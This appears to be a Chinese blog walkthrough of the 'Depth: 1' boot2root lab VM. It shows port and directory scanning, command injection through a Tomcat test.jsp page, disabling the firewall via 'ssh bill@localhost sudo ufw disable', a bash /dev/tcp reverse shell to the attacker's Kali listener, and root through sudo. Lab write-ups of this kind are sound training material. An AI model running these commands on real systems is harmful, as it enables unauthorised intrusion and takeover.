Depth: 1

靶机描述

Many times while conducting a pentest, I need to script something up to make my life easier or to quickly test an attack idea or vector. Recently I came across an interesting command injection vector on a web application sitting on a client's internet-facing estate. There was a page, running in Java, that allowed me to type arbitrary commands into a form, and have it execute them. While developer-provided webshells are always nice, there were a few caveats. The page was expecting directory listing style output, which was then parsed and reformatted. If the output didn't match this parsing, no output to me. Additionally, there was no egress. ICMP, and all TCP/UDP ports including DNS were blocked outbound.
很多时候,在进行渗透测试时,我需要编写一些脚本来使我的生活更轻松,或者快速测试攻击想法或向量。最近,我在一个客户端面向互联网的网页应用程序上遇到了一个有趣的命令注入向量。有一个页面,在Java中运行,允许我在表单中输入任意命令,并让它执行它们。虽然开发人员提供的webshell总是很好,但也有一些警告。该页面需要目录列表样式的输出,然后将其解析并重新格式化。如果输出不匹配这个解析,没有输出给我。另外,没有出口。所有TCP/UDP端口(包括DNS)都被阻止出站。

I was still able to leverage the command injection to compromise not just the server, but the entire infrastructure it was running on. After the dust settled, the critical report was made, and the vulnerability was closed, I thought the entire attack path was kind of fun, and decided to share how I went about it. Since I enjoy being a free man and only occasionally visit prisons, I've created a simple boot2root style VM that has a similar set of vulnerabilities to use in a walkthrough.
我仍然能够利用命令注入不仅危害服务器,而且危害它运行的整个基础设施。尘埃落定后,关键报告被提出,漏洞被关闭,我认为整个攻击路径是一种乐趣,并决定分享我是如何做到这一点的。因为我喜欢做一个自由的人,只是偶尔访问监狱,我已经创建了一个简单的boot2root风格的VM,它有一组类似的漏洞,可以在演练中使用

环境搭建

靶机

Depth: 1

NAT模式 192.168.119.151

攻击机

kali

NAT模式 192.168.119.128

详细步骤

1.主机发现

靶机开机已经告诉我们IP地址了,不过我们还是扫描确认一下

2.端口扫描

nmap -p- -A -sV -Pn 192.168.119.151

 开启了8080http端口

3.目录扫描

dirsearch -u 192.168.119.151:8080

4.Web访问

浏览器访问192.168.119.151:8080

这是一个tomcat网页,拼接访问/manager/,弹出个登录框

http://192.168.119.151:8080/manager

拼接访问/test.jsp,得到一个输入框

5.漏洞挖掘

根据提示,输入ls -l /tmp,命令执行成功

这里能执行命令,尝试在这里直接反弹shell,失败了

尝试一下能不能执行其他命令

ls -l /home #查看家目录

接着来查看一下进程

ps -aux

接着看一下/etc目录,看看是否存在防火墙

ls -l /etc/

尝试关闭防火墙

ssh bill@localhost sudo ufw disable

执行成功

6.漏洞利用

接下来尝试反弹shell,kali开启监听

nc -lvvp 6666

然后执行命令

ssh bill@localhost bash -i >& /dev/tcp/192.168.119.128/6666 0>&1

成功getshell

7.权限提升

尝试直接切换root

sudo su

成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值